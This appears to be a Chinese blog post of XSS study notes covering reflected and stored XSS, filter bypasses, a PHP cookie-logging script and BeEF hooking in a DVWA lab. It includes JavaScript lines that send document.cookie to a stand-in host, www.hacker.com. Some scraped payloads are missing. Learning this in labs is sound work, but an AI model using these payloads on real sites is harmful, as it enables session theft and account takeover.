xss学习

        最近一直在反复练习之前学的一些漏洞,没学习新的漏洞,不能继续这样下去。因此也是选择踏入学习一下xss,简单理解了一些xss概念,具体怎么运用还没有做过类似的题,以后遇到的话会继续整理一下。这篇文章简单介绍了一下xss原理,和一些payload

从哔哩哔哩红蓝安全学习笔记:

1.xss简介

跨站脚本( cross site script )为了避免与样式css混淆,所以简称为xss。

xss是一种经常出现在web应用当中的计算机安全漏洞,也是web中最主流攻击方式。那么什么是xss呢?

        xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加了一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

xss的攻击危害包括:

        1. 盗取各类用户账号,如机器登陆账号,用户网银账号、各类管理员账号;

        2. 控制企业数据,包括读取、篡改、添加,删除企业敏感数据的能力;

        3. 盗窃企业重要的具有商业价值的资料;

        4. 非法转账;

        5. 强制发送电子邮件;

        6. 网站挂;

        7. 控制受害者机器向其他网站发起攻击。

2.原理分析

反射型xss原理

xss学习_第1张图片

 存储型xss原理

xss学习_第2张图片

 xss主要原因:

过于信任客户端所提交的数据!

xss主要分类:

        反射型xss攻击( Reflected XSS ),又称为非持久型跨站点脚本攻击,它是最常见类型的xss。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性xss包含一个带xss攻击向量的链接(即每次攻击需要用户的点击)。

        存储型xss攻击( Stored XSS ),又称为持久型跨站点脚本攻击,他一般发生在xss攻击向量(一般指xss攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的xss比非持久型xss攻击危害更大。因为每当用户打开页面时,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受过攻击。

3.构造XSS脚本

3.1 常用html标签

xss学习_第4张图片

即嵌入了自己的博客 。如果width=0,height=0,border=0,嵌入仍然成功但是你看不见.

页面重定向

输入即跳转到www.baidu.com页面

弹框警告并重定向

xss学习_第5张图片

访问恶意代码

#结合BeEF收集用户的cookie

巧用图片标签

script太明显的脚本了。

绕开过滤的脚本

大小写:

字符编码 采用url、base64等编码

href="">

收集用户cookie

打开新窗口并且采用本地cookie访问目标网页。

document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie)

new Image().src=" 'http://www.hacker.com/cookie.php?cookie='+document.cookie";

img.width=0;

img.height=0;

4.反射性xss

4.1 安全级别

传入,会弹出一个xss弹框。

这个弹框是无害的,但如果做的是别的事情,就有害了。

xss学习_第6张图片

5. 存储型xss

存储型XSS(持久型xss)即攻击者将带有XSS的链接放在网页的某个页面,例如评论框等;用户访问XSS链接并执行,由于存储型XSS能够被攻击所有访问此页面的用户,所以危害非常大。

输入留言name:1111

Message :

xss学习_第7张图片

之后这个网站就被挂了一个非常简单的,之后任何人访问这个网站,都会执行这个xss脚本

这个链接被发送给其他人之后,他们一点击,就会执行这个脚本。被人引诱点击之后就会上当了。

5.1 手工

root@kali:~# vim /var/www/html/cookie_rec.php

        $cookie = $_GET['cookie'];

        $log = fopen("cookie.txt","a");

        fwrite($log,$cookie,"\n");

        fclose($log);

?>

root@kali:~# chown -R www-data.com /var/www/

通过渗透机植入XSS代码:

注:***.***.***.***为 kali Linux IP

注:先清除之前植入的XSS代码

6. Dom型

7. 自动化XSS

7.1 BeFF简介

Browser Exploitation Framework(BeFF)

BeFF 是目前最大的浏览器开源渗透测试框架,通过XSS漏洞配和JS脚本和Metasploit进行渗透;

基于Ruby语言编写,支持图形化界面,操作简单;

http://beefproject.com/

信息收集:

1. 网络发现

2. 主机信息

3. Cookie获取

4. 会话劫持

5. 键盘记录

6. 插件信息

持久化控制:

1. 确认弹框

2.

6.2 BeFF基础

kali下载BeFF:

        sudo apt-get install beef-xss

运行beef-xss

        beef-xss

xss学习_第8张图片

输入设置的密码即可。(不可见)

xss学习_第9张图片

启动Apache和BeFF:

root@kali:~#  service apache2 start

详细使用信息:浏览器攻击框架BeEF Part 1 - FreeBuf网络安全行业门户

6.3 信息收集

在dvwa靶场测试:

发现前端对长度进行限制,这是没用的,我们用查看器定位到代码所在位置,更改maxlength

xss学习_第10张图片

有个关键的脚本

注意这个127.0.0.1ip地址要改为自己本机的ip地址,比如192.168.1.1,就是你beef配置的ip

例如写入:

xss学习_第11张图片

空白,代码被执行,查看beef页面肉鸡是否上线

上线成功

xss学习_第12张图片

 之后我们可以用commands那,来执行命令获取信息。

命令颜色:

绿色:对目标主机生效并且不可见(不会被发现);

橙色:对目标主机生效但可能可见(可能会被发现);

灰色:对目标主机未必生效(可以验证一下)

红色:对目标主机不生效

 例如getcookie命令

execute之后,获得了对方的cookie

xss学习_第13张图片

Link Rewtite命令

xss学习_第14张图片

xss学习_第15张图片

 命令被执行,发现我们每个按钮左下角链接都换成了我博客的地址,随意点一个都会重定向到我的博客。

xss学习_第16张图片

 Link Rewrite()命令:

这个比上一个更高级一些。

xss学习_第17张图片

xss学习_第18张图片

 左下角显示正常,但是当你点击时,会重定向到我的博客的url。

还有好多功能,自己试一下就知到了。社会工程学里也有好多有趣的

你可能感兴趣的:(xss,xss,学习,前端)